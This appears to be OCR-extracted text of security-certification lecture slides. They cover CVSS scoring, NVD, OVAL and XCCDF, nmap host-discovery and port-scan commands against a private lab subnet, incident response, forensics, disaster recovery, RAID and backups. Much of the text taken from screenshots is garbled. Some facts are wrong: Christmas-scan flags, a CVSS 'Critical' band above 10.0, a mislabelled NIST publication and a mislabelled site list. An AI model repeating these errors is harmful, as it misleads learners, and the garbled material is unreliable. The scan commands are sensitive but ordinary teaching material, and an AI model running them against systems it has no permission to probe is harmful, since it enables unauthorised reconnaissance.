v https://nvd.nist.gov/vuln-metrics/cvss

NVD ~

ter Security Resource Center
National Vulnerability Database

National Institute of

ards and Technology
The Common Vulnerability Scoring System (CVSS) provides an open framework for communicating the S
characteristics and impacts of IT vulnerabilities. Its quantitative model ensures repeatable accurate

measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the scores. Thus, CVSS is
well suited as a standard measurement system for industries, organizations, and governments that need accurate and consistent vulnerability
impact scores. Two common uses of CVSS are prioritization of vulnerability remediation activities and in calculating the severity of

vulnerabilities discovered on one's systems. The National Vulnerability Database (NVD) provides CVSS scores for almost all known
vulnerabilities.

# General> % Vuinerabiiesv &b Vulnerability Metrics v

#Products~ & Configurations (CCE) ~ @Info~  + Other Sites» ~ Q Search~

Vulnerabilty Metrics >

NVD CVSS Support

In particular. NVD supports the Common Vulnerability Scoring System (CVSS) version 2 standard for all CVE vulnerabiliies. NVD provides CVSS ‘base scores' which represent the
innate characteristics of each vulnerability. We do not currently provide ‘temporal scores' (scores that change over time due to events external 10 the vuinerabilty). However, NVD
does provide a CVSS score calculator to allow you to add temporal data and to even calculate environmental scores (cores customized to reflect the impact of the vulnerability on
your organization). This calculator contains support for U.S. govemment agencies to customize vulnerabilty impact scores based on FIPS 199 System ratings.

What is the CVSS version 2 score of CVE-2017-8663?

Common Vulnerability Scoring System

CVSS2# AV:N/ AC:M/ / C:P/ I:N/ A:N

> AV - Access Vector Metric » C - Confidentiality Metric

v Local v None
v’ Adjacent Network v Partial
v’ Network

v' Complete

» AC - Access Complexity Metric > I - Integrity Metric

v High v’ None
v' Medium v  Partial
v’ Low v/ Complete
» Au - Authentication Metric > A - Availability Metric
v Multiple v/ None
v’ Single v/ Partial
v' None

v/ Complete

CVSS Score Risk

> There are 4 levels of CVSS score based on factors previously
presented:

CVSS Score Risk Level

Cvss < 4.0 Low
4.0 < CVsSs < 6.0 Medium
6.0 < CVSs < 10.0 High

Ccvss > 10.0 Critical

OSS



CVSS Quick Scoring

Computer Security Resource Center
National Vulnerability Database

NVD

MGENERAL> % VULNERABILITIES» & VULNERABILITY METRICS»  #PRODUCTS v & CONFIGURATIONS (CCE) @ INFO+  + OTHER SITES v

Inerabilty Metrics

VSS > CVSS v2 Caleulator

@ Common Vulnerability Scoring System Calculator version 2

This page shows the components of the CVSS score for example and allows you to fefine the CVSS base score. Please read the GVSS standards guide to fully
understand how to score CVSS vuinerabilties and to interpret CVSS scores. The scores are computed in sequence such that the Base Score is used to calculate the
Temporal Score and the Temporal Score is used to calculate the Environmental Score.

Base Scores Temporal €SS Base Score: NA

Modifed Impact Subscore: NA
Overall CVSS Score: A

Show Equations

CUSS v2 Vector
NA

Base Score Metrics

Exploitabilty Metrics
Attack Voctor (AVY"
Local (AV.L)  Adjac

Impact Metrics

Confidontiality Impact (C)*
Network (AVA)  Network (V- None () | Partial CP) | Complete (C:C)
Intogrity Impact (I
None (IN) | Patial 1F) | Complete (1C)
Availability Impact (&)
None (A1) | Partial (AP) | Complsts (AC)

Figh (ACH) | Medi
Authenication (Au"
Multgle (AuM) _Single (AuS) | Nons (AuN)

CVSS Score Calculation
Nw Computer Security Resource Center
National Vulnerability Database

GENERAL~ % VULNERABILITIES + &5 VULNERABILITY METRICS »  #PRODUCTS » 7 CONFIGURATIONS (CCE) @ INFO =+ OTHER SITES +

Vulnerabilty Metrics > CVSS

> CVSS 12 Calculator

B Common Vulnerability Scoring System Calculator version 2

This page shows the components of the CVSS score for example and allows you to refine the CVSS base score. Please read the CVSS standards guide to fully
understand how to score CVSS vulnerabiliies and to interpret CVSS scores. The scores are computed in sequence such that the Base Score is used to calculate the
Temporal Score and the Temporal Score is used to calculate the Environmental Score

Base Scores Temporal CVSS Base Score: 59

impact Subscore 8.5
Exploabilty Subsce
S Temporal Score: A
ronmental Score: NA

. ed Impact Subscore: NA
= Overall CVSS Score:

["Show Equations |

Environmental Overal

CVSS v2 Vector
AV ATAC MIAUMIC PILCIAP,

Base Score Metrics

Exploitability Metrics

Impact Metrics
Attack Vector (AV]" Confidentiality Impact (€
Local (A1) [ TSENRRICYENENY Network (&V-1) Hon XS Compete (C.C)

Access Complexiy (AC)"
High (ACH) [T Low (ACL)

Integriy Impact
Nore (1) | Partal (P
Authes Availability Impact (A)

niication
[OTTTYENETN Single (AuS)  None (Au) None () [EZSEIERY Complte (A C

Open Vulnerability and Assessment Language

» An international security community effort to standardize
assessment and reporting of computer systems

» OVAL includes a standardized language to encode system details and
provides content repositories for community use

» System assessments can be categorized into three system assessment
steps
v Representing system information
v Expressing specific machine states
v Reporting assessment results

> A benefit of using OVAL is creation of reliable and reproducible
information assurance metrics across automated security tools and
services

» https://oval.cisecurity.org

. o Gentar for
Communty  Repos p Tems ofUse s

oML

(OVAL® s ntermatonsi i scope and fre for pubic use, OVAL s an informaton securiy community effort to standardize how to 355655 and report
upon the machine state of computersystems. OVAL includes 3
Ivoughout the communty.

it use OVAL for eps of 5 sessme c
and reporing the resus of an assessment — provide enterprises wih accurate, consisten, and actonable inormation so they may mprove their
Secarty Use of OVAL 350 o for .

Securty ools and services.

ieroperabity and

CVSS Score Calculation

> An analysis has been done by a vulnerability scanner
that indicates the following vulnerability metrics,
what is the overall CVSS score and what level of risk
will the organization assume if risk mitigation steps
are not applied?

v'Access Vector - Adjacent Network
v'Access Complexity — Medium

v Authentication - Multiple

v Confidentiality — Partial

v Integrity — Complete

v Availability - Partial

Extensible Configuration Checklist
Description Format

v XCCDF is an XML format for security checklists, benchmarks, and
configuration documentations developed by numerous security
organizations including NIST, NSA, DHS, and MITRE Corporation

v The objective of the XCCDF format is to provide a common
replacement of security hardening and analysis documentations that
can easily be imported into security frameworks such as the
Security Content Automation Protocol (SCAP)

v https://scap.nist.gov/specifications/xccdf

Home

XCCDF - The Extensible Configuration Checklist Description Format

44;665?

XCCDF is a specifcation language for writing security checklists, benchmarks, 2nd related kinds of documents. An XCCDF do "

Publications
Release Cycle
SCAP Validation
SCAP Content

SCAP Specifications

Events

Community
of security some set i L and

ated " dcl

compliance testing The intent of XCCDF i to provide a unifo

checklists, benchmarks, and enidance, and

thereby foster more widespread application of good secusity practices

XCCDF documents XL with an XML Sch »
‘Deselopment of the XCCDF specification is being led by NIST, from oth The XCCDF
elted files for el ling lst for XCCDF devel Jabi a blick

availsble archive of the XCCDF maling list i also available.

National Checklist Program Repository

v The National Checklist Program (NCP), defined by the NIST SP
800-70, is the U.S. government repository of publicly available
security checklists (or benchmarks) that provide detailed low
level guidance on setting the security configuration of
operating systems and applications

v https://nvd.nist.gov/ncp/repository

NIST

Informaton Techncogy aborsory

NATIONAL VULNERABILITY DATABASE

National Checklist Program Repositor,
T et - .

ez




Vulnerability Remediation

»Numerous tools can be used to scan, identify, and
describe vulnerabilities, but it is essential to develop
a process that remediates vulnerabilities in an
effective manner

»Vulnerability management tools provide dashboards and
management of vulnerabilities as they are identified

»Vulnerability scanning frequency varies based on policy
and requirements, but some organizations defer to a
continuous monitoring strategy

/,/” T NG

R Priovitize
Vudnerability
( Management
Life Cycle

Remediate

e ropore <«

Service and
Vulnerability Scanning

Passive Scanning

»Although active scanning will provide the most thorough
analysis of a network surface area, there is value in
utilizing passive traffic collection tools to identify
available services

v Wireshark - tshark

v tcpdump — Windump

v PRTG

vp0f - Passive Operating System Fingerprinting

»Recognize that many of the tool listed will also have
added capability such as vulnerability detection,
misconfiguration identification, and compliance
monitoring

Additional Vulnerability Sources

» There are a number of organizations that provide open source
information regarding vulnerabilities including:
v Packet Storm
o https://packetstormsecurity.com
v Exploit Database
o https://www.exploit-db.com
v'Vulnerability Notes Database
o http://www.kb.cert.org/vuls
v VulDB
o https://vuldb.com

EXPLOIT. )L
DRATABARSE

s 0

The Exploit Database

Compatbity

Host Discovery & Network Scanning

> When identifying available systems on a TCP/IP based network, there are
a number of protocols that can help with the discovery process
v ARP - (Network Layer TCP/IP, Data Link Layer OSI)
v ICMP - (Internet Layer TCP/IP, Network Layer OSI)
v TCP - Transport Layer
v/ SNMP - Application Layer

» When considering different protocols to identify available systems on a
network, there should be consideration for protocols that are either
connection or connectionless

v  ICMP - Connectionless (i.e. Best Effort)
v  TCP - Connection (i.e. Reliable Connection)

» There are a great number of host discovery and network scanning tools
to choose from when conducting an assessment and generally fall into
two categories

v Active
v Passive
» When conducting basic port scanning, service status will vary
v Open
o Service available
v Closed
o Service unavailable
v Filtered
o Firewall or proxy screening

NMAP - Host Discovery

» NMAP provides a number of different host discovery

options:

nmap -XX <IP>

-sL: List Scan - Just list targets
-sn: Ping Scan - Disable port scan
-Pn: Treat all hosts as online - Skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN, TCP ACK, UDP, SCTP
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery
-PO[protocol list]: IP Protocol Ping
-n/-R: Always resolve DNS
--dns-servers <servl[,serv2],...>: Specify custom DNS servers

--system-dns: Use OS's DNS resolver
--traceroute: Trace hop path to each host



NMAP - ARP

» Host Only Discovery
» Address Resolution Protocol Request

Host B

nmap -sn 192.168.56.0/24

NMAP - SYN Scan

» Since a full TCP connection is easy to identify and connects
hosts, a stealth scan was developed (A.K.A. Half-open scan)

» Instead of completing a full TCP connection, Host A sends a
SYN packet
v If a Host B responds with a SYN/ACK, Host A now knows that
a port is open and resets the connection preventing a
handshake
v If Host B responds with a RST/ACK or no response, Host A
knows that the port is closed

SYN

SYN / ACK

Port Is Open
Host A Host B

nmap -sS 192.168.56.0/24

NMAP - Christmas Scan

» A Christmas scan is used to test responses from UNIX / Linux based
hosts

» A Christmas scan sets the following flags to 1: SYN, ACK, URG, PSH,
and FIN
v If Host B does not respond, the port is open
v'If Host B responds with a RST, the port is closed

SYN / ACK / URG / RST / FIN

Port Is Open
Host A Host B

nmap -sX 192.168.56.0/24

NMAP - TCP Connect Scan

»Full Open Scan
v'SYN - SYN/ACK - ACK
v'Channel Teardown - FIN/ACK

C—

Host A

nmap -sT 192.168.56.0/24

NMAP - FIN Scan

»A FIN scan is used to test responses from UNIX / Linux
based hosts

»Host A attacker sends a TCP segment with the FIN flag
set
v If Host B does not respond, the port is open
v'If Host B responds with a RST, the port is closed

<l FIN
Port Is Open
Host A Host B

nmap -sF 192.168.56.0/24

NMAP - Null Scan

» A NULL scan is used to test responses from UNIX /
Linux based hosts

» A NULL scan sets all flags to O:
v If Host B does not respond, the port is open
v If Host B responds with a RST, the port is closed

i No Flags Set
Port Is Open
Host A Host B

nmap —-sN 192.168.56.0/24



NMAP - UDP Scan

»User Datagram Protocol is a connectionless protocol

»Unlike TCP, UDP does not require a handshake to work

> UDP scans take longer than TCP scans

UDP Packet

No Response

N

Host B

Port Is Open

Host A

nmap -sU 192.168.56.0/24

Open Source Threat Intelligence

» There are a number of efforts to create a structured
method to collect, distribute, and collaborate on cyber
threat actors

»Cybersecurity analysts can utilize both open and closed
source threat intelligence data to identify potential
attacks

»Making use of this knowledge will lead to better
detection of potential attack vectors

Web Application Analysis

> Web application assessment has ) 1t htal -0 scanhial
improved dramatically and
resulted in a wide range of
tools that are able to perform
broad vulnerability assessment
tasks

» SQLMap
» Nikto
> Web Application Assessment
will include:
v Spidering all web resources

v Checking for
vulnerabilities against
specific web server
configurations

v Testing for sequence
randomness

v'Modifying request /
response packets

HEAD, DELETE, PUT, POST, COPY.

(o0l /pentestdatabase/saliap

v Testing access policy

NMAP - Saving Scan Results

»NMAP scans can be saved for future analysis

»>NMAP can store numerous formats including:
v'ASCII (-oN)
v XML (-0oX)
v Grepable (-0G)

»The following command will save all three major NMAP
formats:

nmap -sT 192.168.56.0/24 -oA Filename

Vulnerability Analysis

» Vulnerability frameworks and
tools test for many security
problems

v Input Vulnerabilities

v'Memory Vulnerabilities

» There are a wide variety of
well known vulnerability
scanners and tools:

v Nessus

v Nexpose

v OpenVAS

v'Metasploit

v Nmap

» Understanding assessment

results and how to properly
apply fixes across an

organizational assist in
reducing organizational risk

» What about threats that have
not yet been seen?
v Zero-Day Exploits

Penetration Testing
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Preventing and Responding to Incidents
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Handling Incidents - NIST

» NIST SP 800-61 specifies numerous phases necessary to handle
cyber incidents

v Preparation

v Detection & Analysis
v Containment, Eradication, and Recovery
v Post-Incident Activity

Containment
Eradication
& Recovery

Post-Incident
Activity

Detection &
Analysis

Preparation

Preparation Phase -
Incident Response Procedure

» At a minimum, an incident response procedure must include
the following:

1)

2)

3)

4)

5)

Discover and Report

v’ Organizations must have tools or procedures in place
to detect potential incidents

Confirm

v'Organizations must have personnel that are trained in
incident investigation and that effectively identify
key technical factors leading to the incident

Investigate

v Steps must be taken to investigate any damage that an
incident caused

Recover

v'Organizations put steps in place to bring
organizational systems back to an operational status

Updating Incident Response Procedures

v Integrate lessons learned into the process to make the
next even more efficient

Defining Incidents

» There are two main documents that
specify how incidents are to be
handled

v NIST SP 800-66

o Computer Security Incident
Handling Guide
v CJCSM 6510
o Chairman of the Joint
Chiefs of Staff Manual -
Cyber Incident Handling
Program

» Although these documents provide
guidance based on statutory and
regulatory requirements, there are
excellent best practices to apply
across many industries

» Cyber incidents are categorized
based on different properties and
will be defined

CHAIRMAN OF THE JOINT
CHIEFS OF STAFF
MANUAL

Computer Security
Incident Handling Guide

Recommendations of the National Institute
of Standards and Technology

Paul Cichonski
“Tom Milar

Tim Grance:
Karen Scarfone

Preparation Phase

» Incident response emphasizes preparation, which is effected

by:

v Establishing an incident response capability so that the
organization is ready to respond to incidents

v Preventing incidents by ensuring that systems, networks, &
applications are sufficiently secure

Detection &

Preparation Analysis

ok

Containment
Eradication
& Recovery

=)

Post-Incident
Activity

Preparation Phase -
Incident Response Personnel

» First Responders

v Who responds when an

" RESPONSE

INCIDEN

incident occurs
o Physical Security
o Network Security

S » Incident Response Teams
v'How are teams established

o By Function
o Dictated by Incident

v What training is required

o Incident Severity
Identification

o Notification Process
oMitigation Process
o Incident Isolation



Detection & Analysis Phase

» Signs of an incident fall into one of two categories:
v Precursors
o A sign that an incident may occur in the future
v Indicators
o A sign that an incident may have occurred or may be
occurring now

»During the analysis phase, it is necessary to properly
categorize cyber incidents

J
Ak

Containment
Eradication
& Recovery

=)

Post-Incident
Activity

7

Detection &

Preparation Analysis

Detection and Analysis Phase -

Denial of Service
Attacks that prevent legitimate users from gaining access to
resources

Based on the scale of the attack, denial of service can be
distributed utilizing a large number of victim systems
Types of DoS / DDoS
v Ping of Death

o Manipulation of ping packets by increasing packet

and attempting to overwhelm the network resources
victim machine

v Smurf Attack
o A DDoS attack in which a victim system or network is
flooded with spoofed ICMP packets
v Fraggle Attack
o A DDoS attack in which a victim system or network is
flooded with spoofed UDP packets
v Land Attack
o A DoS attack in which SYN packets are manipulated to have
the same source and destination IP address of an intended
victim
v Tribe Flood Network

o Software that can be configured to conduct various DDoS
attacks

size
of a

Detection and Analysis Phase -
Clipping Levels

In relation to IDS / IPS, a clipping level is a predefined
number of activities that can be allowed prior to being
flagged as malicious

As users, processes, and applications are running on a
network, it is possible that infrequent errors will occur,
but if systemic errors including failed login attempts,
improper commands, and incorrect web server requests may
indicate a malicious attack

A commonly used clipping level would be allow users to
attempt to log in three times with an incorrect password

CJCSM / US CERT Incident Categories

» There are two incident categorizing systems
v CJCSM 6510 (.MIL)

v'U.S. Computer Emergency Response (US-CERT)

(.GoV)

DoD Cyber Incident Categories CERT Cyber Incident Categories
Category 0: Training & Exercises |Category 0: Exercise or Testing
Category 1: Root-Level Intrusions

- Category 1: Unauthorized Access

Category 2: User-Level Intrusions
Category 3: Unsuccessful Activity

= Category 5: Scans or Probes
Category 6: Reconnaissance
Category 4: Denial of Service Category 2: Denial of Service
Category 5: Misconfiguration Category 4: Improper Usage
Category 7: Malicious Code Category 3: Malicious Code
Category 8: Investigating Category 6: Investigation
Category 9: Explained Anomaly

Detection and Analysis Phase -
Egress Monitoring

» The objective of egress monitoring and filtering is to
restrict the flow of information outbound from an internal
network to external network

» All traffic being transmitted outside of the internal
network are evaluated by security devices and dropped if

they fail to meet advanced ACL rules

> Egress filtering helps ensure that unauthorized or malicious
traffic never leaves the internal network

Containment, Eradication, and

Recovery Phase

> Containment and recovery strategies should account for:
v Potential damage to and theft of resources

v Need for evidence preservation

v Service availability including network connectivity, and

services provided to external parties

v Time and resources needed to implement the strategy
v Duration of the solutions

Preparation

Detection &
Analysis

Eradication
& Recovery

=

Post-Incident
Activity




Evidence Collection Guidelines

» During the Containment, Eradication, and Recovery (CER)
Phase, guidelines should be established for proper collection
and protection

» Evidence should be collected in according to procedures that
meet laws & regulations previous developed with legal staff &
law enforcement agencies

» Evidence must be accounted for at all times

» When transferred from person to person, chain of custody
forms should detail the transfer & include each party’s
signature

Preservation

Identification

Collection

CER Phase -
Standards of Evidence

> After a forensic analysis has been conducted, it will be
necessary for all evidence to meet certain standards of
scrutiny

v Sufficient Evidence

o Convincing
v Competent Evidence

o Legally qualified and reliable
v Relevant Evidence

o Applicable

CER Phase -
Electronic Evidence Handling

» There are a number of technical
processes that should be done
in the collection of digital
forensics including:

v Capturing System Images
o Live
o Dead
o Bit-By-Bit Copy
o Write Blocker
v Hashing Objects
o Images
o Files

o Logs
o Use common hash types
+ MD5, SHA256, SHA512
v Record Time Offset

o Between computer and
actual time

CER Phase -
Digital Forensics Process

» During the Containment, Eradication, and Recovery Phase, a
specified guideline and standard should be established to
ensure proper forensic analysis

» When conducting a forensics analysis after an incident there
should, at a minimum, be the following steps:

Collection Examination

1

Media

Analysis Reporting

3 Data

P Information =) Evidence

CER Phase -
Evidence Rules

» The submission of digital forensic
analysis as evidence is guided by
three main rules:

v Best Evidence Rule

o Original Evidence vs. Copied
Evidence

< v Exclusionary Rule

o Evidence Collected In
Violation of Law

o 4" Amendment - Illegal Search

(j) and Seizure
3 o Electronic Communications
@ Privacy Act (ECPA)

v Hearsay Rule

o 2" Hand Evidence

o Typically, digitally generated
evidence is considered hearsay

o Exceptions made in the case of
logs / network traffic
forensics

CER Phase -
Order of Volatility

» Due to the nature of memory and storage types, if
confronted with an incident, the process of data
collection should start with the most volatile memory
elements:

Y'CPU (Cache / Registers)

v'Routing Tables / ARP Cache / Process Tables
v Live Network Connections

v'Random Access Memory (RAM)

v Temporary File Systems / Swap Space

v'Hard Disk / Raw Disk Blocks

v'Remotely Logged Data

v'Backups

C-RAP C-RAM TEMP-S HDD RL-B



Additional Forensics

Collection Activities
Capture System Image

v Immediately after an incident occurs, organizations should take
forensically sound images of all systems and devices effected

v This will help with future forensic and / or legal follow-up
activities
Document Network Traffic and Logs

v Full network captures and system logs can help to identify how
an incident occurred and how to prevent it in the future

v If necessary, record MAC times (Modified, Accessed, Created
Times)

Capture Video

v When possible, collect video that can help during analysis

Record Time Offset

v Collection of time offset for each machine affected by an
incident

v Not all time offsets are the same and must be accounted for

Take Hashes

v Hashes of drive images, databases, and individual files help to
ensure that no modification of the data occurred

v This is important if forensic data will be used during future
legal proceedings and to ensure proper chain of custody

Chain of Custody

To ensure proper control of all
collected evidence it is
necessary to develop a
effective handling process

-

CHAIN OF
CUSTODY

Time:

The critical steps in a chain
of custody include:

amipm

Received From:
Received By
Date: Time:

v'Document items collected
v'Identify collecting agent

Received From:
Received By

Date: am/pm

v'Segregate items in containers

v'Calculate hash values of each
item

Received From.
Recelved By
Date:

amipm

ate Time: am/pm

v'Securely transport evidence

v'Conduct proper hand-off of fce — e
evidence .

v'Secure items when stored

FORENSICS

Post-Incident Assessment
Review logs, forms, reports, & other incident documentation

Identify which precursors & indicators of the incident were
recorded

Determine
detected

if the incident caused damage before it was

Determine if the actual cause of the incident was identified

Determine
incident

Calculate

if the incident is a recurrence of a previous

the estimated monetary damage from the incident

Measure the difference between the initial impact assessment
& the final impact assessment

Identify which measures could have prevented the incident

Additional Forensics

Collection Activities
» Capture Screenshots

v If relevant, use screenshots
to demonstrate activities
that can be used to explain
the incident

» Interview Witnesses

v Identify and communicate
with those directly impacted
by the incident and
determine how the indecent
occurred from their
perspective

» Track Man Hours and
Expenses

v'Due to the significant time
needed to conduct
investigations of this type,
ensure expenses are properly
captured

Post-Incident Phase

» Organizations hold a lessons learned meeting to:
> Review the effectiveness of the incident handling process
» Identify & correct systemic weaknesses / deficiencies in
policies & procedures
> =1 5
Z) o =
Containment
Detection & Eradication Post-Incident
Preparation Analysis & Recovery Activity
Incident Response Checklist
Detection & Analysis

1.0 | Determine whether an incident has occurred

1.1 Analyze the precursors & indicators

1.2 Look for correlating information

1.3 Perform research (e.g., search engines, knowledge base)

14 As soon as the handler believes an incident has occurred, begin documenting the

. ir igation & gathering evidence
20 Prioritize handling the incident based on the relevant factors (functional impact, information impact,
) recoverability effort, etc.)
3.0 Report the incident to the appropriate internal personnel & external organizations
Ct i ication, & Recovery

4.0 Acquire, preserve, secure, & document evidence

5.0 | Contain the incident

6.0 | Eradicate the incident

6.1 Identify & mitigate all vulnerabilities that were loited

6.2 Remove malware, inappropriate materials, & other components

If more affected hosts are discovered (e.g., new malware infections), repeat
6.3 the Detection & Analysis steps (1.1, 1.2) to identify all other affected hosts, then contain (5) &
eradicate (6) the incident for them

7.0 | Recover from the incident

7.1 Return affected systems to an operationally ready state

7.2 Confirm that the affected systems are functioning normally

7.3 If necessary, implement additional monitoring to look for future related activity

Post-Incident Activity
8.0 | Create a follow-up report |
9.0 [ Hold a lessons learned meeting (mandatory for major incidents, optional otherwise) [




Incident Recovery - Alternate Sites

» Hot Site

v'A transition location that provides almost immediate
recovery of all organizational functions

v'Most expensive option
v Hot sites provide:
o Full power and connectivity
o Preconfigured systems ready for operation
o Full backup capability
» Warm Site

YA transition location that provides some recovery options
for organizational functions
v Warm sites require configuration prior to full operation
v'Warm sites provide:
o Some power and connectivity
o Systems require configuration

» Cold Site

YA transition location that provides just facility
locations and requires significant work to recover
organizational functions

v'Cold sites provide:
o Facilities only

Incident Response Policy

» At a minimum, an incident response policy must include the
following:

1) Incident Identification

v Organizations must have tools or procedures in place to
detect potential incidents

2) Incident Investigation

v Organizations must have personnel that are trained in
incident investigation and that effectively identify key
technical factors leading to the incident

3) Incident Damage Repair

v Steps must be taken to remediate any damage that an
incident caused

4) Documenting Organizational Response

v Organizations need to document all process, security, and
administrative procedures that were taken during the
response

5) Updating Incident Response Procedures

v Integrate lessons learned into the process to make the
next even more efficient

References

http://www.tevora.com/tevora-host-webinar-series-incident-response

» http://tritechforensics.com/store/product/tags-evidence-amp-chain-of-custody

https://securityledger.com/2016/08/incident-resp -from-a-

fortune-100-veteran

podcast-1

» https://null-byte.wonderhowto.com/how-to/hack-like-pro-digital-forensics-using-
kali-part-2-acquiring-hard-drive-image-for-analysis-0155533

> http://itlaw.wikia.com/wiki/Forensic process

» https://anurava.wordpress.com/2015/04/26/digital-forensics-the-battle-against-
cyber-crimes

» https://anurava.wordpress.com/2015/04/26/digital-forensics-the-battle-against-
cyber-crimes

Incident Response Policy

» Incidents are any activities launched against
organizational resources that attempt to gain
unauthorized access, violate security policy,
or compromise system resources

» Organizations must have a policy to effectively
deal with incidents and how they are reported

Incident Response

ooono

A r

..

http://www.tevora.com/tevora-host-webinar-series-incident-response

Incident Test Plans

» 1In preparation for incidents, it is
important to conduct tests to determine how
effective a plan will be

> These tests should include:

v Document Review

o Review all documents relating to
recovery, operations, and procedure

v’ Walkthrough

o A group discussion of all recovery,
operations, and procedures

o This helps to identify gaps in
current organizational thinking

v Ssimulation

o A scripted scenario where attendees
conduct a step-by-step walkthrough
of a disaster

v Parallel Test

o A test that keeps main systems in
operation, but includes starting up
of all backup systems

v Cutover Test

o A purposeful shutdown of main
systems and to test backup systems
ability to resume operations



Natural Disasters

> In preparation for the CISSP, understand the different types
of natural disasters and their rate of occurrence

v Earthquakes
ISC? CISSP Chapter 18 v Floods
v Storms
Disaster Recovery Planning e

Certified
Information
Systems Security

CISSPQ Professional

Man-Made Disasters Disaster Recovery Plan Development
> In preparation for the CISSP, understand the different types > Business Continuity Plan (BCP) - A management tool used to
of man-made disasters and their rate of occurrence implement policies and procedures that aid in reducing
v Fires organizational losses during a failure of critical business
v Terrorism functions
v Bombings » Critical Business Functions (CBF) - Organizational activities
v Power Outages that must function in order to operate
v Network, Utility and Infrastructure Failures » There are two components of a BCP
v'Hardware / Software Failures v Business Impact Analysis (BIA)
v Strikes . _ o Analysis of organizational critical functions and

processes
v Risk Assessment

v Theft / Vandalism

o Determining the probability that a particular loss will
occur

» The results of each of these documents will help to guide the
recovery plan and will address
v Emergency Response
v Personnel Management
v'Data Recovery

v Communication Recovery

NIST Contingency Planning Guide

» One of the NIST Special
Publications focuses on
organizational contingency planning

» Although focused on federal
information systems, the guide can
also be used by industry to Contingency Planning Guide for
e contingency plans Federal Information Systems

NIST Special Publication 800-34 Rev. 1

Contingency Planning Considerations
» The publication recommends that
organizations identify their core
“business processes” and determine
what organizational “recovery
criticality”

» Three key recovery measures must be
determined:

v'Recovery Point Objective (RPO)
v Recovery Time Objective (RTO)
v'Maximum Tolerable Downtime (MTD)




Recovery Point Objective

» During normal operations, organizations should
have security controls in place to backup
hardware, services, applications, and data

» The Recovery Point Objective (RPO) is the last
time an organization backed up hardware,
services, applications, or data

» The RPO should be specified in policy and applied
by system administrators

» If your RPO is 2 hours, should a service
disruption occur, your organization will lose 2
hours of data

Last RPO Service
Backup Disruption >
Normal Time
Operations

Maximum Tolerable Downtime

> The MTD is the point at which a continued
service disruption will lead to negatively
impact on business operation

» To avoid negative impact to business
operations, the RTO should be less than the MTD

Negative

Last
Backup

Normal
Operations

Business Functional Priorities

» During the disaster recovery planning phase, it is necessary to

account for functional priorities when bringing operational
activities back online

v Crisis Management
v Emergency Communications
v Workgroup Recovery
v Alternate Site Processing
o Cold, Warm, Hot Sites
o Service Bureaus
v Cloud Computing
v Data Recovery
o Electronic Vaulting
o Remote Journaling
o Remote Mirroring

Recovery Time Objective

» After a service disruption occurs, the RTO is
the time needed to restore hardware, services,
applications, or data

> RTO is also known as Maximum Allowable Downtime
(MAD)

Last RPO

Backup lored

Normal e

Operations

RPO, RTO, and MTD Relationship

Negative

Last
Backup

Normal
Operations

Recovery - Alternate Sites

»> Hot Site

v'A transition location that provides almost immediate
recovery of organizational functions

v Most expensive option

v Hot sites provide:
o Full power and connectivity
o Preconfigured systems ready for operation
o Full backup capability

» Warm Site

YA transition location that provides some recovery options
for organizational functions

v Warm sites require configuration prior to full operation
v Warm sites provide:
o Some power and connectivity
o Systems require configuration
» Cold Site

v’ A transition location that provides facility locations and
requires significant recovery efforts

v Hot sites provide:
o Facilities



Redundancy vs. Fault Tolerance

Redundancy vs. Fault Tolerance RAID Types

» Redundant Arrays of Inexpensive Disks (RAID) utilizes both
concepts of redundancy and fault tolerance where multiple
disks provide redundancy and array configuration provides

» Even with redundancy, there may
still be impact to operations

» Redundancy requires some downtime fault tolerance
to get systems back up v  RAID 0 - Disk Striping

> Unlike only redundant systems, v RAID 1 - Disk Mirroring
fault tolerant systems continue to
operate after failures without
appreciable downtime

v RAID 5 - Sector-Level Striping With Parity

v  RAID 10 - Stripe of Mirrors

» Numerous systems require
redundancy and fault tolerance
v’ Storage
o RAID Arrays
v Servers
o Failover Servers
v Power Sources
o UPS
v Systems
o Fail-Secure
o Fail-Open

RAID O RAID 1
» RAID-0 is called a striped volume and maps multiple » RAID-1 is called a mirror and creates a copy on multiple
drives into one physical drive disks
» Properties of RAID-0 configuration: » Properties of RAID-1 configuration:

v Benefits
o High Read Performance
o Medium Write Performance
o 100% Capacity o Provides fault tolerance
v Drawbacks v Drawbacks
v Does not provide fault tolerance and loss of one v’ 50% Capacity
drive results in data loss v Requires at least 2 drives
v Requires at least 2 drives

v  Benefits
o High Read Performance
o High Write Performance

G
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Disk 0 Disk 1 Disk O Disk 1



RAID 5

» RAID-5 is called block level striping with distributed

parity
» Properties of RAID-5 configuration:
v' Benefits
o High Read Performance
o 67 - 94% Capacity

o Provides fault tolerance and error checking
v Drawbacks

v Low Write Performance
v Requires at least 3 drives

RAID 10
» RAID-10 is a nested RAID level and called a stripe of
mirrors
» Properties of RAID-10 configuration:
v Benefits
o High Read Performance
o0 Medium Write Performance

o Provides fault tolerance and error checking
v Drawbacks

v’ 50% Capacity

v Requires at least 4 drives

C Yy O
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Disk 0 Disk 1 Disk 2 Disk 3

Data Backup Plan

Data Backups

» Backup Types

v Full
> A disaster recovery plan requires an effective data backup plan o0 A complete backup of all files made at one point in
to work effectively P

» Data backup plans must consider the hardware, software, and
firmware requirements and must include:

v Identification of databases used by type, version, and o Backs up data changes since the last full backup was
configuration executed
v Logging and tracking of files

v Existing application configurations

> Three backup plan methods: o A partial backup that st?res changes to files since
the last full backup or incremental backup was
¥ Grandfather, Father, Son executed
o Regular interval backups
v Full Archival

v Differential

v' Incremental

» Hierarchical Storage Management
o Maintaining all full, incremental, and other backups v  Continuous online backup that uses optical or tape media
indefinitely

v Backup Server

o Dedicated server resources used solely for data backups

Data Backups Backup and Data Recovery Methods

» During data backup, there are three main methods to achieve
data redundancy

v Electronic Vaulting

o Data is transferred by electronic means to a backup site,
instead of physical shipment of backup tapes or disks

v Remote Journaling
Differential

o Data is transferred in the same way as electronic
vaulting, but in a much more frequent basis

Full Backup Each Time . .

v Remote Mirroring

v The most advanced data transfer method that maintains

almost real time backups with a dedicated database server
Incremental

Full Diff
——

Only Backs Up Data Changed

Since Last Full Backup

Only Backs Up Data Changed

Since Last Full or Incremental Backuyj
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Investigations and Ethics
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Types of Security Investigations

» There are four general categories of security investigations

v Administrative
v Criminal

v Civil
v'Regulatory

Electronic Discovery Reference Model

Investigations

Electronic Discovery Reference Model

Discovery Reference Model:
v Information Governance
v Identification
v Preservation
v/ Collection
v Processing
v Review
v Analysis
v Production
v Presentation

Information Governance

Gettng your lctonk house i order 0 e
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Identify

Collect

Process

Review

Analyze

Present

» The following activities are defined by the Electronic

